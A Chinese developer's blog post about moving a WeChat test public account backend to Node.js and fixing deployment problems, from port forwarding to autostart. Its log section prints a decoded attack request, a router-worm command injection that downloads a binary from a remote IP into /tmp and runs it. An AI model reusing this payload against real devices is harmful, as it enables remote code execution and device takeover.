初涉node.js做微信测试公众号一路填坑顺便发现个有趣的其他漏洞
【微信测试公众号】
半年前耍着玩搭起来的“微信简历”,是LAMP版的,很皮毛。
微信的官方文档在这 http://mp.weixin.qq.com/wiki/index.php
1.获取access token
2.自定义菜单创建,直接在调试工具上做了 http://mp.weixin.qq.com/debug
3.接入指南(接入自己的网站)
4.接收微信消息,判断消息类型,判断消息关键字(比如来自哪个按钮),响应消息
这里有个小坑,不同类型的消息数据结构略有不同,判空最好做细致点。
【V2.0 换nodejs后台】
用惯LAMP和Tomcat+SpringMVC,刚接触nodejs硬是看傻眼了~服务器呢?容器呢?要自己在js里监听端口。。。好伐,看着API查着demo搞起~于是开始填坑之旅啦~
1.微信的消息是xml格式,解析需要工具,比如xml2js
--->干脆直接找到个微信的框架node-wechat,瞄了一下依赖,底层就是xml2js,不用重复发明轮子了~认证部分sha1验证也不用自己写~
2.js文件放上Ubuntu服务器用node启动不了~【Error: listen EACCES】
--->查了一下是服务器80端口要用root运行~不想sudo让脚本权限太高,只好在iptables里把80端口的访问转发到比如8080~终于跑起来了。
3.微信消息的数据结构细节问题,比如没特意判断是否文本消息就取Content字段导致类似空指针错误。细心点就能解决的。
--->为此还特意进去看了一下node-wechat/index.js的代码,框架的作者还是蛮细致的,该处理的都处理了。
4.健壮性:随便一个非微信请求就会Exception奔溃退出。--->在js代码里加入try...catch却完全不起作用。
--->因为框架的设计是基于事件监听的模式,许多异步和回调的操作,不用try...catch捕捉,而是要用process.on('uncaughtException', callback)去处理。
5.日志。直接记录未解析的req对象得到的是[object],记录解析后的对象则取不到那些无效的请求。
--->不想太复杂又引入日志框架,直接把写文件的代码嵌入到微信的框架里,在读入请求流req.on('end', callback)里记录请求,完事~
6.守护进程。node监听端口是手动调用的,所以,进程启动也要自己手动去做。--->不想挂nohup,就安装了又一个node框架forever,而且要-g方式安装。
至此,测试公众号终于跑起来啦!
【后期维护】
过了两天没事上去检查日志,貌似还是不能很愉快地玩耍~
1.Caught exception: TypeError: Cannot read property 'xml' of null
非微信请求,比如直接敲网址。反正错误已抓住了,就不处理了。想更健壮些可以对http请求做判断和日志。
2.可疑请求
#请求的原内容
%%%%6d%%%5f%%%%%6f%6e%3d&%%%%6e%%%5f%%%%%6f%6e%3d&%%%%%6f%6e%3d&%%6f%6d%6d%%%3d&%%%%%5f%6e%%6d%3d%&%%%%%5f%%%7a%%3d%&%%%%%5f%%%3d%2d%%%%%%%2f%%6d%%3b%%%%6f%%%%%2f%%%6e%2f%%%%%3e%%2e%%%%%%%%%2e%%%3b%%%%6f%%%%%%%%2d%4f%%2e%%%%%%%%%%%%%%3a%2f%2f%%%%2e%%%%2e%%%2e%%%3a%%%%%%%3e%3e%%2e%%%%%%%%%2e%%%3b%%%%6f%%%%%6d%6f%%%2b%%%2e%%%%%%%%%%%3e%3e%%2e%%%%%%%%%2e%%%3b%%%%6f%%%2e%2f%2e%%%%%%%%%%%3e%3e%%2e%%%%%%%%%2e%%%3b%%%%6f%%%%6d%%2e%%%%%%%%%%%3e%3e%%2e%%%%%%%%%2e%%%3b%%%6d%6f%%%2b%%%2e%%%%%%%%%2e%%%3b%2e%2f%2e%%%%%%%%%2e%%%&%%%%%%%%%3d% #解码后
submit_button=&change_action=&action=&commit=&ttcp_num=&ttcp_size=&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > .5c706bdc.sh;echo "wget -O .5c706bdc http://206.217.15.60:3200" >> .5c706bdc.sh;echo "chmod +x .5c706bdc" >> .5c706bdc.sh;echo "./.5c706bdc" >> .5c706bdc.sh;echo "rm .5c706bdc" >> .5c706bdc.sh;chmod +x .5c706bdc.sh;./.5c706bdc.sh`&StartEPI=
whois查了一下ip是个奇怪的域名,网站为空,目测是个类似爬虫的东西。
查了一下关键字,发现是在乌云上登记的漏洞, http://www.wooyun.org/bugs/wooyun-2013-021321 基本上可以判定,就是个扫描攻击路由器的蠕虫~
已经把除了80和22以外的端口封掉了,不过请求就是从80端口进来的,没办法~
而且只是针对路由器的攻击,在我的应用中只是一堆编码,没威胁~况且故意跑了一下wget命令,也连不上,估计攻击方已经转移了~
3.开机无法自动启动——防火墙设置
iptables端口重定向设置,一重启就被重置。尝试了官网保存设置的方式 http://wiki.ubuntu.org.cn/IptablesHowTo#Saving_iptables_.E4.BF.9D.E5.AD.98.E8.AE.BE.E7.BD.AE 是生效了,但是貌似把云主机上的设置给覆盖了,导致22端口连不上,整台云主机就这样废掉了~~~找客服运维太麻烦了,直接重装了~~~
捣腾了好几回,最后决定在/etc/rc.local里添加命令,每次开机配置~成功~
4.开机无法自动启动——node应用自动启动
先前是用forever框架来管理应用,发现机器重启后应用并不能自动启动,还要另外安装checkconfig之类的服务器的一些程序,从简单的角度出发,还是照样交给rc.local吧~
然后为了后台运行且不用root运行以免权限太大,配合了nohup和su命令,重启后如期望的那样~
su -c "nohup nodejs /home/mydir/my.js > /home/mydir/console.log 2>&1 &" myuser
5.warning: possible EventEmitter memory leak detected. 11 listeners added. Use emitter.setMaxListeners() to increase limit.
一口气开了太多监听事件,但框架就这么设计的,只好把限制设大呗~其实也不碍事~
好啦,终于填平所有坑,可以愉快地玩耍啦~
初涉node.js做微信测试公众号一路填坑顺便发现个有趣的其他漏洞的更多相关文章
- Vue3+Typescript+Node.js实现微信端公众号H5支付(JSAPI v3)教程--各种填坑
----微信支付文档,不得不说,挺乱!(吐槽截止) 功能背景 微信公众号中,点击菜单或者扫码,打开公众号中的H5页面,进行支付. 一.技术栈 前端:Vue:3.0.0,typescript:3.9.3 ...
- vue+node.js+webpack开发微信公众号功能填坑——v -for循环
页面整体框架实现,实现小功能,循环出数据,整体代码是上一篇 vue+node.js+webpack开发微信公众号功能填坑--组件按需引入 修改部门代码 app.vue <yd-flexbox&g ...
- vue+node.js+webpack开发微信公众号功能填坑——组件按需引入
初次开发微信公众号,整体框架是经理搭建,小喽喽只是实现部分功能,整体页面效果 整个页面使用两个组件:布局 FlexBox,搜索框 Search,demo文档 http://vue.ydui.org/d ...
- Node.js进击基础一(5-5http知识填坑)
蚂蚁部落:谷歌浏览器network用法详解 http://www.softwhy.com/forum.php?mod=viewthread&tid=19119 按下f12->Networ ...
- 用java开发微信公众号:测试公众号与本地测试环境搭建(一)
本文为原创,原始地址为:http://www.cnblogs.com/fengzheng/p/5023678.html 俗话说,工欲善其事,必先利其器.要做微信公众号开发,两样东西不可少,那就是要有一 ...
- 基于Node.js的微信JS-SDK后端接口实现
做了一个网站,放到线上,用微信打开,点击分享,可是分享后发给朋友的链接卡片是微信默认自带的,如下: 这标题,描述以及图片是默认自带的,丑不说,分享给别人还以为是盗号网站呢,而接入微信的JSSDK后,分 ...
- 1.Node.js 接入微信公众平台开发
一.写在前面的话 Node.js是一个开放源代码.跨平台的JavaScript语言运行环境,采用Google开发的V8运行代码,使用事件驱动.非阻塞和异步输入输出模型等技术来提高性能,可优化应用程 ...
- 3.Node.js 自定义微信菜单
文章目录: 1.Node.js 接入微信公众平台开发 2.Node.js access_token的获取.存储及更新 3.Node.js 自定义微信菜单 ...
- JAVA开发微信支付-公众号支付/微信浏览器支付(JSAPI)
写这篇文章的目的有2个,一是自己的项目刚开发完微信支付功能,趁热回个炉温习一下,二也是帮助像我这样对微信支付不熟悉,反复看了多天文档还是一知半解,原理都没摸清,更不要说实现了.本以为网上的微信开发教程 ...
随机推荐
- 关于cin 与 cout 的加速
在用cin 与 cout 的时候 可以使用 ios::sync_with_stdio(); cin.tie(); cout.tie(); 这样在输入大数据的时候可以加快许多
- 江西理工大学南昌校区排名赛 A: 单身狗的卡片游戏
题目描述 萌樱花是一只单身狗. 萌樱花今天在桌子上摆出了N张卡片,每张卡片i写着一个数字Ai 他不喜欢卡片上的数字多个出现,于是他想搞点事情拆分它们. 从桌子上选出三张卡,去掉一张数字最大,一张数字最 ...
- 【记录】sqli-labs-master搭建
附上:链接:http://pan.baidu.com/s/1bpCRzl1 密码:ep48 下载完成后直接解压到phpstudy(该工具之前分享过,直接搜索下)的WWW目录下,启动phpstudy, ...
- vim的多窗口功能与环境参数设置
Vim的多窗口功能 多窗口情况下按键功能 :sp [filename] 打开一个新的窗口,如果有加filename,表示在新窗口打开一个新文件,否则表示两个窗口为同一文件内容 :[ctrl]+w+j( ...
- Photoshop入门教程(七):蒙版
学习心得:蒙版在Photoshop中也是很常用的,学会使用蒙版,可以提高图像处理能力,并且可以保护原片不被破坏,建议多使用一些蒙版. 蒙板是灰度的,是将不同灰度色值转化为不同的透明度,并作用到它所在的 ...
- PIE SDK常用滤波
1. 算法功能简介 空间域滤波实在图像空间( x. y)对输入图像应用滤波函数(核.模板)来改进输出图像的处理方法,主要包括平滑和锐化处理,强调像素与其周围相邻像素的关系,常用的方法是卷积运算. 空间 ...
- Oracle RAC集群搭建(五)--oracle部署
01,配置好环境 节点01--node1 ORACLE_BASE=/oracle/app/oracle ORACLE_HOME=$ORACLE_BASE/product//db_1 ORACLE_SI ...
- ansible 入门学习(一)
一,ansible 目录结构 (来自于ansible权威指南) 二,ansible.cfg 配置项说明 /etc/ansible/ansible.cfg --> ———————————————— ...
- IE Error: '__doPostBack' is undefined 问题解决
突然遇到个很奇怪的BUG,翻页控件,其他浏览器一切正常,IE无法翻页,会提示 '__doPostBack' is undefined 后来搜索发现: [原文發表地址] Bug and Fix: ASP ...
- Where Should an Architect Begin?--reference
http://www.bitnative.com/2014/01/24/where-should-a-software-architect-begin/ Where Should an Archite ...